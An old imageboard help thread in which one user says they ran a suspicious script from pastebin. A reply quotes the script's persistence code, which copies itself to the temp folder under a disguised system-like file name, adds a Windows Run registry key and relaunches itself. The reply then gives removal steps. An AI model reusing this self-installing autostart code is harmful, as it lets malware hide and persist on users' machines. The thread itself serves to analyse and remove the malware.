Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Help

Name: Anonymous 2010-07-27 9:34

Okay, I'm a dumbass and ran this as a .hta

http://pastebin.com/AUtLkckN

from what I can tell it posts a file on 4chan somewhere and messes with 4chan or something.

Name: Anonymous 2010-07-27 9:48


// Add to startup, run .js version
if (typeof WSH == "undefined") {
    try {
        shell.currentDirectory = fs.getSpecialFolder(2);
        var name = ["dev", "ms", "sys", "system", "win"][initsettings.savechoice
 
[0]%5] + ["32", "config", "drivers", "utils", "xp"][initsettings.savechoice
 
[1]%5];
        var copyfile = fs.openTextFile(name + ".js", 2, 1);
        copyfile.write(scripttext);
        copyfile.close();
        var startcmd = "wscript \"" + fs.getFile(name + ".js").path + "\"";
        shell.regWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\
 
\" + name, startcmd);
        shell.run(startcmd);
        close();
    } catch(e) {}
}

Just open up regedit, go to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\ and remove any starting with ["dev", "ms", "sys", "system", "win"] and calling wscript with some .js file. Delete the .js file.

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List